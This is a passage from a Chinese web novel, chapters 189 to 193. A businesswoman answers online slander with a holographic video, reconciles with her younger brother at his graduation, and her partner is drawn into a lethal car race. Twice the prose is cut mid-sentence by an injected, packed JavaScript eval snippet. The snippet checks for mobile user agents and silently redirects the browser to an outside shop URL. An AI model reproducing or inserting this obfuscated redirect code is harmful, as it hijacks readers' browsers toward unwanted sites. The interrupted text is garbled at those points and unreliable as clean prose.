盛景炎很了解许愿的小脾气,在听到许愿说完这句话后敲打编码的间隙,就已经打开微博。 许愿才发送的微博似乎还没有人去看,此刻她微博下面仍然是一片骂声。 盛景炎看得直皱眉,直到有人在下面评论了句“靠啊!你们还有心情在这里找茬骂人,你们要不要看看许愿到底发了什么啊!靠啊!真是看得我头皮发麻!” 啊? 到底是发了什么了不得的东西,才会让人激动成这样? 众人这才点开许愿发送的微博视频,点开后视频自动放大,是一段动物世界视频的截选。 几只小狮子在草原上追赶玩闹,好像越过屏幕来到自己身边,自己触手可及伸手就能摸到小狮子柔软的肚皮,甚至真的有人伸出手去想要抚摸小狮子。 岂料下一秒,一头凶猛的母狮和公狮你追我赶的狂奔而来,张开血盆大口,眼神凶狠冰冷像是紧盯猎物的扑过来。 “卧槽啊啊啊啊救命啊!有大狮子要咬我!” 狮子已经穿透屏幕一般,那种危险的穿透力,让人毛骨悚然浑身鸡皮疙瘩都冒出来。 视频在狮子扑过来咬到自己指尖时陡然黑屏中止,只能透过屏幕看到自己那张惊慌中满是冷汗的脸。 内心的惊慌和激动在此刻仿佛到达顶点,满脑子都是疑问。 啊?刚才看到什么了? 狮子冲出屏幕了?狮子要咬我?这是什么技术? 等会儿?许愿刚开始发微博的时候配送了什么文案? “全息盛世时代即将来临,你准备好了吗?” 想起那段文案的人脑海中,此刻已经闪不过其他任何话语了,只空留一句“卧槽!” 微博炸了,许愿微博下面那些的污言垢语,全都被此类评论刷屏。 “刚才那是什么技术?!全息技术吗!许愿!许总!许老大!你快出来告诉我,呜呜呜!有没有人告诉我是不是真的!我真的看到狮子冲出屏幕了!” “救命!真的是全息技术吗!这到底是怎么编写的代码?国外一直都说在研究全息,但是毫无进展,现在最先进的还只能算是电影院内的全息眼镜,过于鸡肋。如果这真的是全息技术,那是不是现在影视圈内各类视频都能改成这类啊,就是根本不需要我们配戴眼镜,就能用上这种技术是吗?” “如果这一切都是真的,那许愿简直是开创了全息时代先河。” “你们还记不记得许愿婚内出轨的事,她和傅京礼之间的婚姻关系你们都忘了吗!” 这个时候还有人故意提到许愿私生活。 有人立刻回怼:“有病吧?许愿是不是婚内出轨,你两嘴一张就全知道了?狗仔和八卦号两嘴一张就叭叭,你看傅氏有人提过一句吗?真要是婚内出轨才跟盛景炎在一起的许愿,早在两个月前就被傅氏开除了吧!微博上还能那么友好?这摆明了就是有人猜到许愿在研究全息,故意掀起的商业竞争!没见现在马上就是金融峰会,许愿和盛景炎代表的是盛世,少了盛世其它企业就少了大敌能分到多少甜头呢蠢货!” 许愿抛出一段全息视频,就能引起热潮,本就等着帮许愿开口反击的人,在此刻也扬眉吐气。 被骂的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618142|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老实了,带节奏的那群人也傻眼了。 不是?谁也没说许愿下一步会这么做啊。 正常人不是都会陷入自证陷阱,在微博发表声明,声泪俱下说自己没有出轨吗? 为什么许愿不按照套路来啊!怎么到许愿这里,就成了发布全息视频了! 哪还有人理会那些八卦新闻,现在被顶上热搜的是许愿那段全息视频,别说国内,就是传到国外也掀起一阵浪潮。 许愿的微博也越来越热闹,在下面评论的人惊现各路大佬,甚至有很多是才刚刚注册微博的国外合作商。 “许,这就是你带给我们的新惊喜吗?” “许,已经有合作对象了吗,考虑一下瑞森如何?” “哦,我亲爱的许,我是你的老朋友阿瑞斯,我们以前合作得很愉快,我现在人已经在飞机上了,答应我,给我个合作机会怎么样。” “你真是一位永远都会带给我们惊喜的伟大商人,所以我的宝贝,你要代表盛世跟我们见一面吗?我会给出你最 想要的价码。” 许愿的微博下面频繁冒出这类评论,有人嘲讽许愿是想红想疯了吧,雇佣这些人在这里演戏。 岂料下一秒,就看到这群人都开启了微博认证。 全部都是海内外各大知名企业跨国公司老总! 他们不是在开玩笑!他们真的全都在寻求合作的机会! 是的!求合作! 盛世暴跌的股价全都回升回来,甚至一直在疯涨。 那么到此,谁还记得最初许愿是如何被谩骂的? 现在谁还记得许愿跟傅京礼那点烂事儿?所有人脑子里最清晰的,都是那段全息影像视频。 想要压倒前面的舆论,就要放出更炸裂的信息,许愿深知且灵活运用。 傅长海想要利用她的报复心理想要算计所有人,那她就要让傅长海清楚的知道,不是谁,都看不透他自认高深的棋局。 他想控制她,她便另辟蹊径破局而出。 让他无法得逞。 第189章 让他们永远长眠风月山 “许愿!” 傅长海所有的算计,都因为许愿这次的反击全盘崩溃满盘皆输。 他想要算计傅氏算计盛世,算计许愿,许愿是看出来了,所以直接翻脸掀棋盘了! “你果真是跟你那母亲一样!都不是省油的灯!” 一个死了也不让他安生,一个活着却处处破他的防御让他几乎无路可退。 好好好。 许愿,你硬要这么玩是吗? 傅长海脸色阴沉,手握成拳狠狠的砸在桌上。 那就别怪我不客气了。 从今天开始,你想要的,你维护的,我都要一一摧毁。 你要玩是吗? 你喜欢盛景炎是吗? 你在乎苏逸是吗? 那我就要从盛景炎和苏逸下手。 我要让你走上和苏青莲一样的路!永远痛失所爱! 密室门被推开,助理看到傅长海承受不住的模样眼神微暗。 “傅总,接下来要怎么办?” 傅长海面色阴沉的抽出纸巾擦拭着自己掌心,声音冰冷掺杂着明显的寒意。 “傅京礼不是想废掉盛景炎吗?再加把火,把苏逸也算进去,让他无法参加高考,我要让这两个人永远长眠在风月山!” a市有一座远近闻名的高山,阻止了西北方来的寒流,也阻隔了南方的热气,且风景秀丽,曾多次被设为赛车比赛场地。 风月山最高之巅也葬送了数名车手生命,说是风月山,又名死神山。 助理顿了下:“我去安排。” 助理离开,傅长海才面色凝重的翻看着自己手下整理的资料,越看脸色越白。 一群废物东西,研究了这么久都没研究出头绪! 苏青莲的手稿都交出去了,还没有任何研究成果! 傅长海贪婪的一次又一次点开许愿上传的这段影像。 他伸出手去触碰,呼吸都带着几分激动的粗重。 许愿的研究成果,迟早都会是他的。 他眼神火热,内心却一片阴暗,若是这次再不成……就只能让傅守誉回国了。 傅守誉,傅长海养子,幼年时期被傅嘉誉捡回家后被傅长海收养,他的存在就是为了帮扶傅嘉誉。 他这个养子也是颗好用的棋子,若是这次再失败,他就只能让傅守誉回国亲自动手了。 …… 国外小岛。 苏青莲从全息舱中醒来,整个人汗水淋漓,但是眉眼之间却是带着笑意的。 “看来这次进展不错,夫人心情很好。” 苏青莲轻笑一声:“阿江她这次明显给我回应了,阿江明确表示会跟我离开。” 她接过助理递来的毛巾擦拭着自己脸上的汗水。 “相信再过不久,阿江会醒过来的。” 她清亮的水眸中泛起阵阵涟漪。 离开实验室,打开密室通道,苏青莲目光落在病床的男人脸上,男人身形已经十分消瘦了。 唐清江其实身材是很好的,他以前即便是久居实验室也会坚持锻炼,只因为苏青莲说自己喜欢身材好的漂亮小哥哥。 那时的唐清江身上只有薄薄一层肌肉,因为他这句话每天增加时间锻炼身体。 只可惜这些年下来,纵然是苏青莲日日为他按摩,肌肉还是萎缩了。 苏青莲轻叹了一口气,握住他的手很轻很轻的抚摸。 “阿江,再不醒过来你的肌肉都要消失了。” 她握住唐清江的手抚摸自己的脸颊。 “阿江,今天你是不是给我回应了。” “既然给了我回应就快点醒过来吧。” 苏青莲声音很轻:“我不是一个称职的母亲,阿愿和阿逸都需要一个称职的父亲,他们都在等你醒来呢。” 苏青莲一直都清楚自己从来都是个冷心冷情的人。 她所有的情感都浇筑在唐清江身上。 她想过,若是能研究出全息就一定要刺激到唐清江醒来,若是研究不出全息那就跟唐清江一起永远沉沦在黑暗中陪他长眠。 许愿和苏逸就是她为唐清江留下的最后血脉。 她在乎许愿和苏逸吗。 当然是在乎的,只是这在乎对于唐清江来说太过微不足道。 所以她才说许愿和苏逸需要父爱。 见苏逸还是没有任何反应,苏青莲也毫不气馁,只是很轻微的笑了笑。 “好啦,不管多久,我都会等你醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618143|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来的。” 她赖在唐清江身边,直到赖够了才终于离开。 关上房门的瞬间,看到气喘吁吁的助理。 “又出了什么事。” 苏青莲开口询问。 “夫人,现在全网都在围攻小姐,她和傅京礼结婚的事被扒出来,甚至流产的事也被抛出,所有人都在说是小姐婚内出轨了盛二少背叛了傅总得到的报应。” 苏青莲眉眼之间的情绪都是淡淡的。 她嗯了一声。 “这个孩子是她跟傅京礼的,本就不该留,没了也好。” 她很平静。 “这件事不算什么大事,她应付得来。” “如果连这么点小事都处理不好, 那也太过没用。” 苏青莲虽是这样说,却还是让他调出了目前的进度。 待看到许愿已经发送了视频反击后,她忍不住轻笑出声,看起来很满意许愿的解决方式。 “看来不算蠢,能揪出真正的罪魁祸首。” 苏青莲清亮的水眸略过那段视频。 她已经看完整段视频,虽然对她这种研究出真正全息技术的人来说略显稚嫩,但这个年纪在没有任何人带领下做到如此成就,已经远胜旁人。 “夫人,傅长海吃了大亏,很难不会狗急跳墙,针对小姐。” 助理忍不住开口提及。 苏青莲仍然在播放那段视频,她听到这句话也只是嗯了一声。 “她能应对。” 苏青莲眼神里都是坚定。 “她可是我和阿江的女儿。” …… 金融峰会还未正式开始,马上就要迎来高考,热搜上现在挂的最多的就是高考和金融峰会相关的热搜。 “我马上就要高考了。”许愿接到了苏逸的电话。 “学校在提前举办毕业典礼,你要参加吗?” 苏逸声音仍然是淡淡的,好像并不在意许愿会不会来。 接到苏逸这通电话,许愿整个人都有些微震惊。 她本来还在看合作方案,工作号码现在已经设置隐私了,私人号码接到苏逸的电话也是没想到。 发生那种事后,苏逸竟然还会打给她。 第190章 祝福 她以为按照苏逸的性格,大概会等到高考后离开,等到成年后就搬离自己的别墅。 “我当然会参加。” “你这样优秀,董校长应该会让你登台演讲吧,我会认真看的。” 许愿声音中带着明显的笑意。 苏逸似乎不知道要如何跟她交流,嗯了一声挂断电话。 坐在病房沙发上看文件的盛景炎扶了扶眼镜拖:“苏逸的来电?” 许愿点头。 “他邀请我参加毕业典礼。” 最近太忙,遇到的难事也多,所以苏逸这通电话让她心情好了许多。 “你说我要不要给他准备礼物?送什么好呢?钢笔?” 话都还没说完,盛景炎捏了捏眉心,声音带着调笑:“宝贝儿,你是不是忘记了,你要送给我的钢笔可还没给我呢。” “现在苏逸也要排在我前面了?” 盛景炎忍不住开口询问,其实他也不是故意说这些的,就是见许愿最近身体虚弱加之过于忙碌心情不好,所以故意逗弄一句。 “我在做了,是因为最近太忙了。” 许愿努了努鼻子,给自己找借口。 盛景炎合上文件,含笑贴在她身边。 “我知道,你只是太忙了。” “哎,小舅子要高考了,我可不敢争宠,先放松下给小舅子做根钢笔也不错。” 都到这时候了,盛景炎还在逗她,握住她的手开口道:“等苏逸真正高考结束,给他挑一块手表,我觉得盛华的其实就挺不错。” 盛华也有奢侈品,其中就有手表,难得盛景炎想到这里,许愿自然不会拒绝。 “等晚点让人把最新的手表都送到公寓,你也挑一块。” 盛景炎扬了下眉,抱着手臂靠在沙发上:“那就感谢许总的包养了。” 知道他就喜欢满嘴的胡说八道,许愿也就由着他了,只是眉眼之间都还带着几分明显的笑意。 A市实验一高是A市有名的重点高中,每一届高考生在高考前三天学校都会举办一场毕业典礼。 所谓的毕业典礼其实也算是老师们为学生送上祝福,是任课老师为学生们祈福亲手编制的祝福红绳,由每个班级的班主任为学生们戴在手腕上,对他们说上自己的期许。 这场活动后就是晚上的毕业舞会,A市实验一高一直都有这样的传统。 学校会为这些学生准备晚宴的礼服,因A市实验一高走出去的学生大多都是成功企业家,所以每一年都会有学生捐赠礼服,不会让囊中羞涩的学生难堪,甚至在高考前也让他们怀揣着一个美梦。 这样的典礼活动学校是允许家人参加的,这样重要的场合也很少会有家长不在现场。 毕业典礼当天,许愿强撑着没有坐轮椅,盛景炎怎么劝都没用。 “我能撑住,只是身体虚弱了点。”许愿握住盛景炎的手轻笑:“今天是苏逸很重要的时刻,我坐在轮椅上也太不应该了。” “他是一定要上台带领学生宣誓的,我还想等着上台为他献花,坐着轮椅怎么行。” 她执意如此,盛景炎虽然无奈但也只能由着她任性一次,不过轮椅还是被他带上了。 到了时间,许愿和盛景炎去别墅接苏逸,看到许愿妆容精致明艳的面容,苏逸先是怔了下,然后有些不自然的别过头开口:“怎么不坐轮椅,身体还没恢复好就别硬撑。” “我身体已经恢复得差不多了。”许愿才开口解释,苏逸就看向盛景炎:“轮椅呢。” 盛景炎此刻笑得有点肆意嘚瑟,似是在笑许愿被管住了一般,直到被许愿狠狠瞪了一眼才摸了摸鼻子耸了下肩做出一副无辜姿态。 都不用说就知道是盛景炎告的状。 他自己管不住许愿就偷偷联系苏逸,他就是摸准了许愿不会拒绝苏逸呢。 狗男人满肚子坏水。 狗男人盛景炎此刻还慢悠悠的在许愿身边转来转去的叹气:“哎,还是小舅子说话才肯听啊,我说的话某人是一句都不听。” 许愿狠狠踩了他一脚作为报复。 盛景炎装出一副很疼的样子,许愿强忍住白眼他的冲动,她现在可没多少力气,踩他一脚能有多大力气,还装,这么会演怎么不去演戏啊。 所以到最后许愿还是坐到轮椅上了。 知道许愿和盛景炎要来,实验一高的董校长也跟过来迎接。 此次毕业典礼的礼服是盛世捐赠的,董校长自然要来感谢,待看到苏逸和许愿盛景炎一起从豪车上下来整个人也愣了下。 “这是……” 她印象中苏逸和许愿只是见过一面的关系,两人之间和陌生人无异,怎么现在苏逸还从许愿车上下来了。 许愿冲董校长打了声招呼寒暄几句后看向一旁的苏逸。 “老师,小逸是我失散多年的弟弟,最近才找回来的,以前承蒙老师的照顾了。” 董校长一听整个人都笑起来。 “那是好事啊,我就说苏同学和阿愿你相貌有几分相似又都如此聪慧,没想到会是姐弟。” 董校长本还担心苏逸这孩子说过打算学金融专业,这圈子水深,没有多少家底的学生学了也是白学,她还担心苏逸这样的性子会吃亏,现在知道苏逸是许愿的弟弟她就彻底放心了。 有许愿在,不用担心苏逸被人针对穿小鞋。 董校长是聪明人,她虽然看到许愿坐在轮椅上,也知道最近网络上传得沸沸扬扬的有关于她和盛景炎傅京礼三人关系的事,但她都不去提。 她了解自己的学生,她知道许愿做不出那些事,她不提不问因为她相信自己的学生能处理好这件事。 毕业典礼在上午举办,几乎所有高三生的家长都来到现场坐在观众席位。 现场也有一些商业圈子的,看到许愿和盛景炎眼睛发亮想凑过来合影谈合作,却都被盛景炎冰冷的眼神逼退,只能讪笑退后。 许愿看到董校长亲自为苏逸戴上编制的红绳。 董校长欣慰的看着自己看好的学生,开口:“宝剑动连星,金鞍别马鸣。持将五色笔,夺取锦标名。” 第191章 请我跳支舞吧 董校长对苏逸有很大的期许。 一句持将无色笔,夺取锦标名就完全说明了董校长对他的期待。 她希望苏逸能够成为A市状元。 苏逸抬头望着面前虽然年岁渐老,却仍然精神抖擞的女校长。 她一直都是温和优雅的,他这么多年在苏家生活数次,接收到董校长的善意,甚至年级第一能拿到那笔高额奖学金,也是董校长提出的,就是为了让她得到那笔钱款。 后来得知苏家的事后改成了免除学杂费,提供所有饭费书本费,她只是不忍看苏逸被埋没。 苏逸眼神坚定态度认真的向老校长鞠了一躬。 老校长欣慰的弯了弯眼睛:“去吧,带领其他学生,一起宣誓,迎接即将到来的高考。” 苏逸站在台上,眉眼之间都是坚定和认真。 他手握话筒开口:“我们感恩,在这三年里,有家人的默默支持与陪伴,有老师的悉心教导与鼓励,有同学的相互扶持与共同成长。今天,我们将告别青涩的岁月,带着满满的收获与自信,迎接更加广阔的天地。” “我们承诺,在未来的日子里,将以更加坚定的步伐,追求心中的梦想;我们将用知识武装自己,勇敢面对生活中的每一个挑战;我们承诺,无论走到哪里,都将铭记母校的教诲,保持谦逊与善良,传递爱与希望。” “我们坚信,青春是用来奋斗的,不是用来挥霍的;未来是用来创造的,不是用来等待的。在即将启程之际,让我们携手共进,用汗水浇灌青春之花,用智慧书写人生华章。无论前方的道路多么坎坷,我们都将勇往直前。” “愿我们以梦为马,不负韶华;愿我们前程似锦,归来仍是少年;愿我们乘风破浪会有时,直挂云帆济沧海!” “我坚信我们生来就是高山而非溪流,我们站在群峰之巅俯视平庸的沟壑。” “我坚信我们生来就是人杰而非草芥,我们站在伟人之肩蔑视卑微的懦夫。” “希望我们都可以文安定天下,武定江山,德才兼备,智勇双全。” 文安定天下,武定江山,德才兼备,智勇双全。 多么美好的祝福。 台下的学生们呼喊着一片哗然欢呼鼓掌,不知是哪个班的开始带领着班内的学生,将手高举过头顶大喊。 “文安定天下,武定江山,德才兼备,智勇双全!” 一个班如此,更多的班聚在一起宣誓。 苏逸看到这场景,不由得笑出声,那双琥珀色的眼眸中都带着很轻很淡的意色。 他从没像现在这样感受到自由洒脱的感觉。 那种……有家人在身后支撑着有朋友们在身旁欢呼雀跃着的感觉,真的很棒。 许愿远远的便对上苏逸那双含笑的眼睛。 他就像是在发光。 已经有学生冲上台,欢呼着簇拥着叫喊着苏逸的名字。 许愿眼睛却有点红意,这样看着,苏逸好像真的过上了普通人的生活。 “你看,其实你也不算做错了事,至少在这里苏逸交到的朋友不会全部都是按照利益纠缠在一起的二代,这里的学生怀揣着热忱的情意,这里的老师也会给予他真正的关怀。” “他很幸福。” “所以有些事,你不必过分内疚。”盛景炎仍然在开导她。 许愿微微垂眸,唇角勾起一抹很轻缓的笑意。 “现在的开心,不代表没有受到过伤害。” “我只能尽我所能的去弥补。” “有时候,你其实可以在意你自己更多一些。” 盛景炎伸出手揉了把许愿的头,在许愿瞪他之间偷笑一声收回手。 晚上,实验一高的晚会现场,已经频频有女学生目光偷偷看向苏逸,甚至有人起哄的要推一名漂亮的女学生到苏逸身边。 那名女学生鹅蛋脸烟柳眉,长了一张古典韵味儿的面容,此刻羞红了脸,却还是抿着唇偷偷瞟向苏逸。 “苏逸同学,我可以请你跳一支舞吗?” 苏逸单手插兜,微微扬唇看向远方:“实在不好意思,今天我姐姐也在现场。” 姐姐? 从没有听说过苏逸有过姐姐啊。 女学生震惊得眼瞳都瞪大了,下一秒就对上不远处许愿那张实在过于明艳动人的面容,女学生都有些难以控制的动心。 女学生被拒绝,也不觉得多难过,反正苏逸拒绝了所有人,又不是独独拒绝她自己。 离开之际,她开口:“苏逸,我很喜欢你,所以高考后请问你可以答应我的追求给我个在一起的机会吗。” 苏逸眸光闪烁,目光落在女学生身上。 “先考上A大,再说其他的事,姜同学舞蹈排名那么高,能考上A大对吗?” 女学生脸颊都微微泛红。 “那你等我啊。” 她羞红了脸跑远了,整个人都很激动。 许愿就在不远处听完了全程。 她斟酌片刻还是走过来:“打算恋爱了?” 苏逸垂眸敛眉:“没这个打算。” “只是马上要高考了,不想因为我几句话影响她的心情,给点念想也是好的。” 他很冷淡却又带着温柔。 他清楚的知道高考对每一个学生有多重要。 他是在意的,所以才会担心自己几句话而伤到对方,选用了这样温柔的方式。 许愿看他这副模样,实在忍不住,伸出手揉了揉他的头发。 “做得很好,就算没有我,你也把你自己养得很好。” 许愿声音里明显带着对他的欣赏。 “皎皎君子,说的就是你了。” 苏逸能感受到许愿柔软的掌心触到自己发梢时的轻柔动作,他喉结微微滚动,忍不住轻轻蹭了下她的掌心像是回应,等反应过来自己做了什么后脸色陡然变了,带着点明显的绯红,显然是羞的。 许愿忍不住轻笑:“所以,要请我跳舞吗?不是都已经拿我当借口了?” 苏逸眼神中是带有期待的,但是也有担心。 “你现在的身体……可以吗?” 许愿挑眉,已经握住他的手搭在自己肩上:“跳支舞还是绰绰有余的。” 说是这样说,但事实上她身体真的很虚弱。 第192章 姐姐 许愿一直都知道怀孕流产或者生产,都会对女性身体造成很大的伤害,但真的切身体会后才明白,气血虚,会头晕,会偶尔眼花干呕,会双腿发虚,两条腿都软绵绵的像是双脚踩在棉花上。 但这是苏逸的高考毕业典礼的晚会,她想陪他跳一支舞。 她也想告诉他,姐姐在,他不是一个人。 “来吧,请我跳一支舞。” 许愿语气中都带着几分明显的笑意。 苏逸顿了下,重新握住她的手,用力的握住将人揽进怀中,能清晰的嗅到她身上的清香以及淡淡的草药香,她最近一直在喝药。 她是真的……遭受了很多。 苏逸带着许愿跳舞,低头便对上许愿温柔含笑的眼眸,她看向自己的时候总是笑着的。 苏逸有时候觉得许愿看向自己的眼神,其实不像是姐姐看弟弟的眼神,更像是母亲看孩子的眼神。 他甚至觉得许愿是不是代入了母亲的角色,所以觉得对他有太多亏欠。 那日盛景炎说的那些话,其实点醒了他。 若他和许愿真的是同母异父的姐弟,那时候未成年的许愿本就没有抚养他的义务。 纵然真的对他造成伤害,那也绝不是许愿本意。 她这样温柔的人,可能只希望他过得越来越好。 苏逸不由得握紧她此刻细嫩瘦弱的腰肢。 她现在真的太瘦了。 “你都不吃饭吗?” 他将许愿整个人环抱在怀中,能感受到许愿消瘦的身体,她就是这样瘦弱却拥有力量的女性。 最近发生的太多事,让他不得不去关注许愿。 他想了很多,他想,许愿好像真的很不容易。 他那时在怪她,可如果她是许愿,他又要如何平衡两者之间的关系。 这些年她一路向上爬,又吃了多少苦? 那么多人都在说许愿有多优秀,许愿是有名的才女。 可事实上,许愿聪慧是一回事,可若是她自己不努力,又怎么会有今天的荣耀加成。 那一切都是她应得的。 可即便如此,她还是会因为自己是女性角色遭人攻击诽谤侮辱,这次若非是她拿出跟3D有关的技术,那群人一定还在狂轰滥炸。 其实苏逸已经很高了,许是苏青莲和唐青江的基因影响,哪怕苏逸营养不良却还是蹿到了一米八,此刻低头伸手便能将许愿拢在怀中。 “姐姐。” 一声姐姐,让许愿整个人仿佛呆滞在原地。 她此刻身体都有些僵硬,恍恍惚惚的想抬头,却又被苏逸将人摁在怀里。 许愿攥住他的袖口,指尖的动作不由收紧。 “我好像做错了一件事。” 苏逸在她耳边,声音里面都带着几许叹息。 他扶住许愿的手臂,其实已经感觉到许愿到达极限已经有些站不稳了。 苏逸撑着她的身体,扶着她坐到轮椅上然后半蹲下身,就这样注视着许愿,其实这样的角度,是他心甘情愿处在下位者的位置。 “这些天,我一直都在想一件事。” “我在想,姐姐为什么不肯带我一起长大,为什么要将我丢在别人家中,为什么不肯在我受伤的时候保护我……” “现在我知道,你不是不肯带我长大,你为我选了一条能活下去的路。你想为我选一条轻松肆意的人生,在我受伤的时候,你又何尝不是处在危险中……” “哪怕你已经站到了如今的高度,他们还是能够因为你的性别,对你极尽侮辱。” “你好像只能凭借着自己的能力往上爬,站到顶端蔑视所有人,才能避免一切的恶意。” “你想让我逃开这样的人生,而你自己却永远陷入噩梦。” “所以我已经想通了。”苏逸握住许愿发凉的指尖,有些笨拙的学着盛景炎经常做的暖手动作,“我们互相原谅彼此好不好?” 我原谅你多年的忽略无视,你原谅我的无情伤害。 你是姐姐,我是弟弟,我们是家人。 好不好? 明明苏逸只是说了一句互相原谅,可许愿就是能从苏逸眼底仿佛真正猜透了他想表达的意思。 许愿此刻只觉喉头发堵,她眼眶微微发热。 许愿冰凉的指尖抚摸他的侧脸,是那样温柔的力度。 “苏逸,我们都没有错,所以不需要彼此原谅,我们可是家人啊。” 她轻而易举的翻篇,同样的不希望苏逸内疚。 毕竟是姐弟,仿佛有心灵感应一般,都不再提过往那些矛盾事。 “阿愿!” 许愿听到有人在喊自己的名字,是盛景炎在喊她。 许愿转身回头,盛景炎举着一台相机眼睛里藏着笑意:“笑一个。” 许愿很给面子的温柔一笑,盛景炎看着这一幕,眉梢挑了下冲苏逸勾动手指:“弟弟,你扶着轮椅站好。” 苏逸不知道他要整什么幺蛾子,但还是站好了。 下一秒就见盛景炎随手逮了助理,自己则大摇大摆的走过来,整个人笑眯眯的恶霸似的一手揽住苏逸的脖子,一手揽住许愿的肩。 画面仿佛定格于此。 只听“咔嚓”一声,温馨的画面被拍下来。 苏逸有些怔愣的感受到自己好像是真的有家人了。 这种感觉,很不错。 …… 苏逸毕业典礼当天下过一场暴雨,那天夜里风有点凉,许愿身体太弱病倒,高考当日没能去送行,盛景炎自告奋勇要当苏逸的司机。 直到车子上了高速才察觉不对,自己一直安排在周围的车都被猛烈的撞击到一旁,二十几辆车围追堵截一般冲撞上前,气势汹汹像是早就算计好的。 盛景炎眼神一凛。 偏偏挑这种时候,这群疯子。 盛景炎握紧拳然后打开车窗,待看到另一辆车上熟悉的脸后终于明白了一切。 奥瑞亚,盛景炎曾经在国外求学时在赛车场上的死敌。 是的,盛景炎曾经也算作是半个赛车手,甚至给了奥瑞亚致命一击由此被奥瑞亚恨上。 奥瑞亚见车停下来,刻意将车别在盛景炎车前:“比一场?” 盛景炎眸色沉沉:“你的挑战我应了,但前提是让他先离开。” 奥瑞亚斜了苏逸一眼,似乎是完全不把苏逸放在眼中。 “只要你答应这场比赛,他当然可以安然无恙的离开。” 第193章 他要活着回去 苏逸坐在原地,身形单薄,微热的风吹拂过额前的发,露出那张清俊的面容,他并未解开安全带下车,目光落在盛景炎的脸上。 “这种情况,我不能离开。” 苏逸声音平淡:“你可以带我一起。” 盛景炎仍然沉着脸,不顾他的反对,执意解开苏逸的安全带:“不要任性,如果你出事,阿愿一定会伤心。” 他说的是伤心,不是内疚。 苏逸眉眼凌厉:“难道出事的是你姐姐,你就不会伤心吗!我是弟弟,你是她的爱人!” 弟弟和爱人谁更重要? 无法衡量的。 苏逸和许愿不愧是姐弟,脾性实在太过相同,如果换成是许愿,许愿会如何选择? 她同样不会抛弃盛景炎,选择独自离开。 “苏逸,你听着。” 盛景炎捏着自己的指骨,发出声响,声音已经彻底沉下来。 “我已经是一名可以为自己的选择和未来负责任的成年人,而你只有十五岁。” “发生这种事,天塌下来都有我们这些成年人在前面顶着,不需要你掺进浑水中。青葱的年纪就该肆意生长,今天对你来说是你一直期盼的要开拓新未来开启新篇章的日子,不要做出任何可能让自己未来后悔的事。” “不要忘记你答应校长的话,拿个状元回来。” 盛景炎的大掌拍在苏逸的肩侧,他的声音虽然压低,却仍然能让苏逸感受到他内里的温柔。 他清楚盛景炎如此待他,只因为他是许愿的弟弟,他不过是爱屋及乌。 是。 这次的高考,是他一直都在期盼的。 他想过通过这场高考,走向更加璀璨辉煌的人生,过上自己想要的生活。 苏逸垂下眼睫,喉头发堵,他终于点头应了一声。 “姐夫,平安归来。” 一声姐夫,让盛景炎脸上展露出笑意。 在苏逸转头的瞬间,盛景炎吩咐最后剩下的一名助理,亲自送苏逸回考场。 “盛总,真的不需要联系许总吗?这件事闹这么大,我真的怕您出事。”助理隐忍不下去。 盛景炎垂眸,声音沉沉。 “背后的人既然联系了奥瑞亚,就不会只做了一手打算,你联系不到阿愿,我也不会允许你这种时候联系阿愿。” “如果我明天没能回去,就告诉阿愿我临时有事,出国谈合作,不要告诉她真相。” “盛总!” 助理脸色彻底沉下去。 “这是命令。” 这是命令。 盛景炎已经握紧方向盘,给了助理一个眼神,助理抿紧唇只能狼狈的带领苏逸离开。 盛景炎看到助理带着苏逸远去的背影,整个人终于放松下来。 接下来不管发生什么事,都不会将苏逸掺进来。 无论如何,苏逸总会陪在许愿身边,足够了。 盛景炎微微颔首。 好在,早就立下了遗嘱。 就算他真的出事,他的东西也只会是阿愿的。 旁的人得不到任何东西。 盛景炎唇角不由得扬起,带着明显的嘲意。 “盛景炎,你以前也不是这种婆婆妈妈的性子,怎么现在拖家带口了性子也变了。” 奥瑞亚逼近,他身材魁梧,抬手时手臂上隆起大块的肌肉,一手撸起那头金发露出汗湿的额头,那张邪肆张狂的脸暴露出来,他自然是英俊的,只是相较于盛景炎多了几分粗犷和阴沉。 “是因为那位许总吗?” “哈,我倒是真想知道你那位许总到底是长了一张多漂亮的脸蛋儿,才会让你沉迷至此。” “比约兰公爵的女儿更美吗?” 奥瑞亚为什么如此痛恨盛景炎,就是因为当初奥瑞亚疯狂迷恋约兰公爵的女儿,而那位却只喜欢盛景炎。 加之盛景炎在赛车比赛中完全碾压奥瑞亚,这才让奥瑞亚嫉恨上盛景炎。 眼神骤然沉冷,一手拽过他的领口,语气冰冷噬骨。 “你发疯就来找我,别想打阿愿的主意,否则,我做鬼都不会放过你。” 奥瑞亚危险的眯眼,一派放松的将他推开。 “呵呵,你先活着从风月山离开,再来跟我放狠话吧。” 这是由奥瑞亚举办的一场危险的赛车游戏,同时参加比赛的共有五十人。 五十辆赛车从风月山山脚同时出发,没有任何规矩可言,碰撞也好,追赶也好,能否活命全看运气。 说是赛车游戏,倒不如说是一场令人心惊胆战的****。 游戏正式开始,奥瑞亚和盛景炎的车子在车子中突出重围,碰撞开周围的车子,发出剧烈的声响。 奥瑞亚的车窗已经出现细微的裂痕,他发出一声欢呼的怪叫,像是在享受此刻的刺激。 盛景炎眸光中满是厉色,他一刻不敢松懈。 其实盛景炎什么都懂。 他和许愿都是极致聪明的类型,特意在这种时候算计他的,能有几个人呢,而最想看好戏的又是谁呢? 傅京礼还是傅长海? 他们到底是想伤害他,还是想借由他来伤害许愿? 他们的心思有多脏,他就觉得有多令人恶心。 